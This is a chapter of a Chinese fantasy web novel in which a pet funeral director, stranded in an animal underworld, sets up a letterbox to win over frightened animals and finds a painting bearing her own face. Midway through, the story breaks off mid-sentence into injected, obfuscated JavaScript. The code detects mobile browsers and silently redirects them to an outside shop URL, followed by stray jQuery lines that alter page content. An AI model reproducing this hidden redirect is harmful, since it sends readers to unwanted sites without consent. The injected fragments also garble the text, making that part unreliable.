江窈感觉自己觉得绝对不存在的水逆一定是存在的。
她都开始脑部自己数钱数到手抽筋的美好画面了,一股烧焦混着香灰的呛人味就直冲天灵盖,一呼吸就感觉自己的鼻子被打了一拳,脑瓜子被熏得嗡嗡想。
摆渡区那片原本就拥挤不堪的广场彻底闹翻了,她拽住一只橘猫,语气急切:“发生什么了?”
那橘猫被吓得结结巴巴,“恶……恶灵被劫走了!关押区那边全毁了!”
“劫狱?”
橘猫艰难地点点头,一溜烟地跑了。
怎么一天天的这么忙,她欲哭无泪。要不哪天去看看祖坟是不是出问题了,还是请个高人来给自己算算,还是说今年诸事不宜犯太岁?
她掐指一算,不对,今年也不是本命年啊。
“快去看看,我的客户可不能出事。”江窈拽着云衍朝烟雾最多的地方跑去。
眼前的场景让她倒吸一口凉气。
残破的栅栏歪七扭八地倒在地上,墙壁上到处都是深深的爪痕,有的地方还冒着黑烟。
几只受伤的德牧躺在一旁,有萨摩耶正在给它们包扎,地上星星点点洒落金色的血液。
她的手指抚过墙上那些深深的抓痕,指尖冰凉。低头一看,上面沾满黑色的粉末,散发着跟之前恶灵身上一模一样的让她心悸的气息。
她拽拽云衍的衣襟把人拉下来,在他耳边兴奋的低喊,“难道你们地府也玩无间道这种?我们接下来做什么?抓内鬼吗?”
“这个我熟啊……我跟你说,电视剧里都是这样的……”
云衍嘴角抽了抽,把自己的衣领从她爪子里抢了回来,“你还是操心操心你自己吧。”
“我?我怎么了?”她愣了愣,随着云衍的目光朝身后看去。
不少动物正远远地围着他们,有的缩着脖子往后躲,有的交头接耳窃窃私语:
“就是她,听说她一来就招来了恶灵。”
“我二舅姥爷的邻居家的三表妹在场,说看见她拿剑一指……”
“可怕……她会不会做委托时一个不高兴就把咱们劈了?”
她愣住,想开口解释什么,那些动物轰的一下散开了,跑得比兔子还快。
她看见瓜子也在动物四散的动物群里,它想跳起来朝她挥手,被一边的兔子给拽了下去。
瓜子被一只垂耳兔拽的飞跑,它想把爪子抽回来却无济于事“兔姐,我还没跟两脚兽道谢的。”
垂耳兔头也不抬,“道什么谢,你现在去了别人怎么看你?”
……
回去的路上,江窈一直沉默着,心里堵得慌。
一夜成为地府的黑红顶流,这泼天的流量好像有点接不住。
她叹了口气,一脚把脚边的小石子踢开,“你说我要是做点什么,能不能让它们不那么怕我?”
云衍微微一怔,盯了江窈几秒,语气还是那般无所谓的样子,“随便你,反正你就待三天。”
对哦,就待三天。
她心里算了算,三天后回阳通道也好了,她就能继续去当她的宠物殡葬师,继续过她的摸鱼小日子,这些动物怕不怕她又关她什么事?
可她又总想起瓜子在自己掌心转圈的样子,想起它刚刚要朝她挥手的雀跃。
它说,你真的是一个好两脚兽。
她答应过要送它托梦套餐还没送呢,如果就这么算了,那它得帮兔子奶奶找多少次假牙?
不行不行,我江大侠言出必行,不能说不干就不干。
她朝云衍比划着,“咱们要不建立一个信箱,让它们把想说的话都写进来,就不用排队了,还……”
“还省的你一个个去对接。”云衍接过话,眼底漫出笑意。
江窈被戳穿了小心思也不恼,理直气壮地点头,“对,这叫做科学管理,我总不能天天都在广场上挨个跟它们唠吧?我得有时间回去收尾款。”
“还得有时间回去通关游戏,对吗?”
“懒得跟你解释,我找材料去了。”
江窈气结,加快脚步往前走,让云衍自个慢悠悠地跟在后面。
还是当猫可爱,虽然当猫也会说人话,但变回人加上说的人话都不好听简直是绝杀。
……
邮箱的搭建比想象中顺利。
哈士奇听说这个项目后,难得从游戏里抬头,那双睿智的蓝眼睛盯了江窈足足十几秒,从角落里扒拉出一堆铁皮螺丝焊接工具递了过去。
“要帮忙不?”它嘴上问着,爪子已经放到鼠标上了。
江窈看看那堆材料,又看看云衍,“你会吗?”
云衍面无表情地看着她,“你觉得呢?”
“我觉得你连猫抓板都不会用。”
最后是江窈自己上的,云衍全程坐在一边的石碑上给她打零工,时不时地端茶倒水。再发出几句“这里歪了”,“那里没对齐”的点评,气的江窈想把焊枪怼到他脸上都得看在他打下手的情面上劝自己算了。
“你来啊,你行你上。”
“我又不是摆渡人。”
“那你闭嘴。”
云衍果然闭嘴了,眼睛还是黏在她身上,看着江窈浑身不自在。
一个歪歪扭扭的邮箱终于成行了,刷上黑漆,再用金粉歪歪扭扭地在便签纸上写下,“心事投递处”,“德牧担保,绝对保密”,那些字迹活像蚂蚁跳舞的便签被她贴的到处都是。
她叉着腰欣赏自己的劳动成果,得意洋洋地看向云衍,“怎么样?”
云衍盯着那些歪七扭八的字盯了半响,最终还是闭着眼睛点点头,“还行。”
“你干嘛闭眼说?”
“不能睁眼说瞎话。”
江窈轻哼一声,掏出小仓鼠送给自己的瓜子看了又看,蹲在一边守株待兔。
这一守就守了大半天。
路过的动物不少,有的好奇停下来打量两眼,嘀咕两句就走开了,有的凑近瞧瞧,结果被那惨烈的字迹吓的后退几步,头也不回的跑了。
江窈蹲在一边,感觉自己像是被孤立的小学生,她眼巴巴地看着那些犹豫不决的动物,恨不得冲上去帮它们写。
云衍蹲在一边心无旁骛地舔毛,两只前爪在脸上来回扒拉,猫脸被挤得奇形怪状的。洗着洗着突然停下来,脑袋一歪,开始追自己的尾巴。
一下没扑到,再一下还是没扑到。最后整只猫都转晕了,一屁股坐在地上,表情茫然的在思考猫生。
得,这也是一个靠不住得完蛋玩意,江窈在地上埋头画圈。还能怎么办,画个圈圈诅咒那个所谓得尊上吧,要是他哪天喝水嗝屁了该多好。
小瓜子和一只垂耳兔出现在视线里,江窈开心地朝它挥挥手,看着它把垂耳兔半拖半拽的扯过来,眼眶有点热。
“她真的是个好两脚兽。”瓜子对着垂耳兔认真到。
垂耳兔瑟缩了一下,耳朵晃了晃,犹豫半天才慢吞吞地蹦过来。
“你真的不收功德么?”声音细细的,江窈快把耳朵贴到垂耳兔嘴边才听清它在说什么。
她点点头,“对的,不收。”
垂耳兔盯着她看了半天,像是在判断她有没有说谎。过了好一会,它才小心翼翼地开口,“但是我不会写字。”
糟了,怎么忘记这茬了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382749|200214||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?
江窈眼睁睁地看着自己每天收收信箱批量化开工的美好景愿长上了小翅膀,挥挥手朝自己飞远了。
“没事,那我记就好了。”她拿出纸笔,脸上堆满了笑容。
垂耳兔前爪在地上刨了半天,才细声说到,“就帮我告诉小主人,兔子冬天也不用盖被子的,然后告诉她我不生气。”
“但是我不太记得清小主人住哪了,二十年了。”垂耳兔大致地报了个地名过去,“我就记得是这个小区。”
“你放心。我会帮你把话带到的。”她摸了摸垂耳兔的头,嗯,毛茸茸的。
垂耳兔眼睛亮了一下,往江窈的手心里蹭了蹭,一溜烟地跑远了。
兔子也好好摸啊嘿嘿,这个工作真香,虽然要出外勤,但是可以摸小动物。她搓搓手,回味着刚刚那软绵绵的触感,嘴角差点跟太阳肩并肩了,就感觉身后传来一道死亡凝视。
她回过头一看,云衍正瞪着死鱼眼盯着她,“工作期间,禁止对客户动手动脚。”
“哈?我怎么记得合同里没有这一条?”
“现在有了。”
“懒得跟你计较,明天要开工了,走了走了。”她一骨碌地爬起来,顺手把手上的灰全抹到云衍身上。
她回到自己在地府的住处,一间灰扑扑的小屋子,听说是某个鬼差留下来的,里边只有一张床和一张小桌子。
一扭头,那猫还站在门口,“你不回去?”
云衍沉默了几秒,眼神飘忽不定,“……那个。”
“哪个?”
他盯着墙上的一道裂缝,像是在看一道了不起的风景,“你现在不稳定,万一你出事了,委托就完不成。”
“所以?”
“我得看着你。”
江窈硬是从那张永远鬼迷日眼的猫脸里看出“你怎么就非要我说明白”的窘迫,可是看着自己跟它不回去有什么关系?“所以呢?”
云衍深吸一口气,把视线从裂缝上拔开,“所以,我住这。”
“那你准备睡哪?”她往旁边让了让。
“睡地上。”
“这……多不好意思。”嘴上说着,她毫不客气地往床上一扑,床垫松软,还有一股熟悉的檀香味。
“那你睡地上?”
“我觉得你睡地上也挺好的,猫嘛,睡哪不是睡。”
云衍翻了个白眼,尾巴一卷,把自己卷成了一个毛茸茸的团子。
江窈一下一下摸着这只傲娇了七年的猫。
嗯,还是那个熟悉的手感。
她边摸着猫边环顾这个堪比杂物间的房间,越打量眉头皱的越紧,四处的杂物,灯管上还挂着蜘蛛网。
不行啊,爸妈耳提面命说房间太乱坏财运,住这屋上班岂不是还得倒贴钱?
哪有白打工的道理,自己在阳间的房间可是各种手办和精挑细选的桌搭,江窈如今的改造之魂熊熊燃烧。
“咪咪,这些东西能扔吗?”她指了指那堆堆成山的杂物。
云衍身形一僵,硬邦邦地开口,“随便。”
她站在那堆杂物边上开始翻翻捡捡,万一还有点什么绝世武功秘籍,岂不是赚翻了?
武功秘籍没翻出来,倒是扒拉出了一幅画。
边缘已经有些破损,她轻轻拂去上面的灰尘。
画这幅画的人一看就画工极好,寥寥几笔便将画上的女子勾勒出了风骨。那女子手握长剑眉眼含笑,身后轮回盘的虚影若隐若现。
江窈盯着那张脸,越看越眼熟。这不是每天照镜子时都能看到的脸么?
她握着画的手有点抖,“咪咪,我到底是谁?”